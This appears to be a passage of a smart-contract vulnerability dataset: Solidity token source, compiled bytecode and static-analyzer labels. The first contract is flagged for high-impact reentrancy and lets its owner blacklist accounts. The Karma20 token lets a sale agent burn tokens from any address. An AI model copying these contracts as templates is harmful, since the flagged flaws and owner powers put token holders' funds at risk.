require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610558578063dd62ed3e14610578578063ea1644d5146105be578063f2fde38b146105de57600080fd5b8063a2a957bb146104d3578063a9059cbb146104f3578063bfd7928414610513578063c3c8cd801461054357600080fd5b80638f70ccf7116100d15780638f70ccf71461044c5780638f9a55c01461046c57806395d89b411461048257806398a5c315146104b357600080fd5b80637d1db4a5146103eb5780637f2feddc146104015780638da5cb5b1461042e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b8063313ce5671461030557806349bd5a5e146103215780636b999053146103415780636d8aa8f81461036157600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102cf5780632fd689e3146102ef57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611aec565b6105fe565b005b34801561020a57600080fd5b50604080518082019091526008815267111959d95b91dbd960c21b60208201525b6040516102389190611bb1565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611c06565b61069d565b6040519015158152602001610238565b34801561027d57600080fd5b50601454610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b50683635c9adc5dea000005b604051908152602001610238565b3480156102db57600080fd5b506102616102ea366004611c32565b6106b4565b3480156102fb57600080fd5b506102c160185481565b34801561031157600080fd5b5060405160098152602001610238565b34801561032d57600080fd5b50601554610291906001600160a01b031681565b34801561034d57600080fd5b506101fc61035c366004611c73565b61071d565b34801561036d57600080fd5b506101fc61037c366004611ca0565b610768565b34801561038d57600080fd5b506101fc6107b0565b3480156103a257600080fd5b506102c16103b1366004611c73565b6107fb565b3480156103c257600080fd5b506101fc61081d565b3480156103d757600080fd5b506101fc6103e6366004611cbb565b610891565b3480156103f757600080fd5b506102c160165481565b34801561040d57600080fd5b506102c161041c366004611c73565b60116020526000908152604090205481565b34801561043a57600080fd5b506000546001600160a01b0316610291565b34801561045857600080fd5b506101fc610467366004611ca0565b6108d0565b34801561047857600080fd5b506102c160175481565b34801561048e57600080fd5b50604080518082019091526008815267111151d15391d3d160c21b602082015261022b565b3480156104bf57600080fd5b506101fc6104ce366004611cbb565b610918565b3480156104df57600080fd5b506101fc6104ee366004611cd4565b610947565b3480156104ff57600080fd5b5061026161050e366004611c06565b610afd565b34801561051f57600080fd5b5061026161052e366004611c73565b60106020526000908152604090205460ff1681565b34801561054f57600080fd5b506101fc610b0a565b34801561056457600080fd5b506101fc610573366004611d06565b610b5e565b34801561058457600080fd5b506102c1610593366004611d8a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ca57600080fd5b506101fc6105d9366004611cbb565b610bff565b3480156105ea57600080fd5b506101fc6105f9366004611c73565b610c2e565b6000546001600160a01b031633146106315760405162461bcd60e51b815260040161062890611dc3565b60405180910390fd5b60005b81518110156106995760016010600084848151811061065557610655611df8565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069181611e24565b915050610634565b5050565b60006106aa338484610d18565b5060015b92915050565b60006106c1848484610e3c565b610713843361070e85604051806060016040528060288152602001611f3e602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611378565b610d18565b5060019392505050565b6000546001600160a01b031633146107475760405162461bcd60e51b815260040161062890611dc3565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107925760405162461bcd60e51b815260040161062890611dc3565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e557506013546001600160a01b0316336001600160a01b0316145b6107ee57600080fd5b476107f8816113b2565b50565b6001600160a01b0381166000908152600260205260408120546106ae906113ec565b6000546001600160a01b031633146108475760405162461bcd60e51b815260040161062890611dc3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bb5760405162461bcd60e51b815260040161062890611dc3565b674563918244f400008111156107f857601655565b6000546001600160a01b031633146108fa5760405162461bcd60e51b815260040161062890611dc3565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109425760405162461bcd60e51b815260040161062890611dc3565b601855565b6000546001600160a01b031633146109715760405162461bcd60e51b815260040161062890611dc3565b60048411156109d05760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b6064820152608401610628565b6014821115610a2c5760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b6064820152608401610628565b6004831115610a8c5760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b6064820152608401610628565b6014811115610ae95760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b6064820152608401610628565b600893909355600a91909155600955600b55565b60006106aa338484610e3c565b6012546001600160a01b0316336001600160a01b03161480610b3f57506013546001600160a01b0316336001600160a01b0316145b610b4857600080fd5b6000610b53306107fb565b90506107f881611470565b6000546001600160a01b03163314610b885760405162461bcd60e51b815260040161062890611dc3565b60005b82811015610bf9578160056000868685818110610baa57610baa611df8565b9050602002016020810190610bbf9190611c73565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bf181611e24565b915050610b8b565b50505050565b6000546001600160a01b03163314610c295760405162461bcd60e51b815260040161062890611dc3565b601755565b6000546001600160a01b03163314610c585760405162461bcd60e51b815260040161062890611dc3565b6001600160a01b038116610cbd5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610628565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d7a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610628565b6001600160a01b038216610ddb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610628565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ea05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610628565b6001600160a01b038216610f025760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610628565b60008111610f645760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610628565b6000546001600160a01b03848116911614801590610f9057506000546001600160a01b03838116911614155b1561127157601554600160a01b900460ff16611029576000546001600160a01b038481169116146110295760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610628565b60165481111561107b5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610628565b6001600160a01b03831660009081526010602052604090205460ff161580156110bd57506001600160a01b03821660009081526010602052604090205460ff16155b6111155760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610628565b6015546001600160a01b0383811691161461119a5760175481611137846107fb565b6111419190611e3f565b1061119a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610628565b60006111a5306107fb565b6018546016549192508210159082106111be5760165491505b8080156111d55750601554600160a81b900460ff16155b80156111ef57506015546001600160a01b03868116911614155b80156112045750601554600160b01b900460ff165b801561122957506001600160a01b03851660009081526005602052604090205460ff16155b801561124e57506001600160a01b03841660009081526005602052604090205460ff16155b1561126e5761125c82611470565b47801561126c5761126c476113b2565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112b357506001600160a01b03831660009081526005602052604090205460ff165b806112e557506015546001600160a01b038581169116148015906112e557506015546001600160a01b03848116911614155b156112f25750600061136c565b6015546001600160a01b03858116911614801561131d57506014546001600160a01b03848116911614155b1561132f57600854600c55600954600d555b6015546001600160a01b03848116911614801561135a57506014546001600160a01b03858116911614155b1561136c57600a54600c55600b54600d555b610bf9848484846115f9565b6000818484111561139c5760405162461bcd60e51b81526004016106289190611bb1565b5060006113a98486611e57565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610699573d6000803e3d6000fd5b60006006548211156114535760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610628565b600061145d611627565b9050611469838261164a565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114b8576114b8611df8565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561150c57600080fd5b505afa158015611520573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115449190611e6e565b8160018151811061155757611557611df8565b6001600160a01b03928316602091820292909201015260145461157d9130911684610d18565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b6908590600090869030904290600401611e8b565b600060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806116065761160661168c565b6116118484846116ba565b80610bf957610bf9600e54600c55600f54600d55565b60008060006116346117b1565b9092509050611643828261164a565b9250505090565b600061146983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117f3565b600c5415801561169c5750600d54155b156116a357565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116cc87611821565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116fe908761187e565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461172d90866118c0565b6001600160a01b03891660009081526002602052604090205561174f8161191f565b6117598483611969565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179e91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117cd828261164a565b8210156117ea57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836118145760405162461bcd60e51b81526004016106289190611bb1565b5060006113a98486611efc565b600080600080600080600080600061183e8a600c54600d5461198d565b925092509250600061184e611627565b905060008060006118618e8787876119e2565b919e509c509a509598509396509194505050505091939550919395565b600061146983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611378565b6000806118cd8385611e3f565b9050838110156114695760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610628565b6000611929611627565b905060006119378383611a32565b3060009081526002602052604090205490915061195490826118c0565b30600090815260026020526040902055505050565b600654611976908361187e565b60065560075461198690826118c0565b6007555050565b60008080806119a760646119a18989611a32565b9061164a565b905060006119ba60646119a18a89611a32565b905060006119d2826119cc8b8661187e565b9061187e565b9992985090965090945050505050565b60008080806119f18886611a32565b905060006119ff8887611a32565b90506000611a0d8888611a32565b90506000611a1f826119cc868661187e565b939b939a50919850919650505050505050565b600082611a41575060006106ae565b6000611a4d8385611f1e565b905082611a5a8583611efc565b146114695760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610628565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f857600080fd5b8035611ae781611ac7565b919050565b60006020808385031215611aff57600080fd5b823567ffffffffffffffff80821115611b1757600080fd5b818501915085601f830112611b2b57600080fd5b813581811115611b3d57611b3d611ab1565b8060051b604051601f19603f83011681018181108582111715611b6257611b62611ab1565b604052918252848201925083810185019188831115611b8057600080fd5b938501935b82851015611ba557611b9685611adc565b84529385019392850192611b85565b98975050505050505050565b600060208083528351808285015260005b81811015611bde57858101830151858201604001528201611bc2565b81811115611bf0576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c1957600080fd5b8235611c2481611ac7565b946020939093013593505050565b600080600060608486031215611c4757600080fd5b8335611c5281611ac7565b92506020840135611c6281611ac7565b929592945050506040919091013590565b600060208284031215611c8557600080fd5b813561146981611ac7565b80358015158114611ae757600080fd5b600060208284031215611cb257600080fd5b61146982611c90565b600060208284031215611ccd57600080fd5b5035919050565b60008060008060808587031215611cea57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d1b57600080fd5b833567ffffffffffffffff80821115611d3357600080fd5b818601915086601f830112611d4757600080fd5b813581811115611d5657600080fd5b8760208260051b8501011115611d6b57600080fd5b602092830195509350611d819186019050611c90565b90509250925092565b60008060408385031215611d9d57600080fd5b8235611da881611ac7565b91506020830135611db881611ac7565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e3857611e38611e0e565b5060010190565b60008219821115611e5257611e52611e0e565b500190565b600082821015611e6957611e69611e0e565b500390565b600060208284031215611e8057600080fd5b815161146981611ac7565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611edb5784516001600160a01b031683529383019391830191600101611eb6565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f1957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f3857611f38611e0e565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220640b81a42293b1ef1a5d1278355f3b7dec9a72f22e5ddd2ac53f58831879a43c64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 1,417 |
0x12145d3191d9f9539032d33b24019e7e4400eaef | pragma solidity ^0.4.21;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Karma20 is StandardToken, BurnableToken, Ownable {
string public constant name = "Karma";
string public constant symbol = "KRM";
uint32 public constant decimals = 5;
address public saleAgent;
event Mint(address indexed to, uint256 amount);
modifier onlyAgent() {
require (saleAgent == msg.sender);
_;
}
function setSaleAgent(address agent) public onlyOwner {
require (agent != address(0));
saleAgent = agent;
}
function mint(address _to, uint256 _amount) onlyAgent public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function burn(address _who, uint _amount) onlyAgent public returns (bool) {
_burn(_who, _amount);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0) && _to != address(this));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
} | 0x6060604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610101578063095ea7b31461018f57806314133a7c146101e957806318160ddd1461022257806323b872dd1461024b578063313ce567146102c457806340c10f19146102f957806342966c6814610353578063661884631461037657806370a08231146103d05780638da5cb5b1461041d57806395d89b41146104725780639dc29fac14610500578063a9059cbb1461055a578063b1d6a2f0146105b4578063d73dd62314610609578063dd62ed3e14610663578063f2fde38b146106cf575b600080fd5b341561010c57600080fd5b610114610708565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610154578082015181840152602081019050610139565b50505050905090810190601f1680156101815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019a57600080fd5b6101cf600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610741565b604051808215151515815260200191505060405180910390f35b34156101f457600080fd5b610220600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610833565b005b341561022d57600080fd5b61023561090f565b6040518082815260200191505060405180910390f35b341561025657600080fd5b6102aa600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610919565b604051808215151515815260200191505060405180910390f35b34156102cf57600080fd5b6102d7610cd3565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b341561030457600080fd5b610339600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610cd8565b604051808215151515815260200191505060405180910390f35b341561035e57600080fd5b6103746004808035906020019091905050610ea2565b005b341561038157600080fd5b6103b6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610eaf565b604051808215151515815260200191505060405180910390f35b34156103db57600080fd5b610407600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611140565b6040518082815260200191505060405180910390f35b341561042857600080fd5b610430611188565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561047d57600080fd5b6104856111ae565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104c55780820151818401526020810190506104aa565b50505050905090810190601f1680156104f25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561050b57600080fd5b610540600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506111e7565b604051808215151515815260200191505060405180910390f35b341561056557600080fd5b61059a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611259565b604051808215151515815260200191505060405180910390f35b34156105bf57600080fd5b6105c76114b0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561061457600080fd5b610649600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506114d6565b604051808215151515815260200191505060405180910390f35b341561066e57600080fd5b6106b9600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116d2565b6040518082815260200191505060405180910390f35b34156106da57600080fd5b610706600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611759565b005b6040805190810160405280600581526020017f4b61726d6100000000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561088f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156108cb57600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561095657600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156109a357600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a2e57600080fd5b610a7f826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b12826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ca90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610be382600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b190919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600581565b60003373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610d3657600080fd5b610d4b826001546118ca90919063ffffffff16565b600181905550610da2826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ca90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b610eac33826118e6565b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffff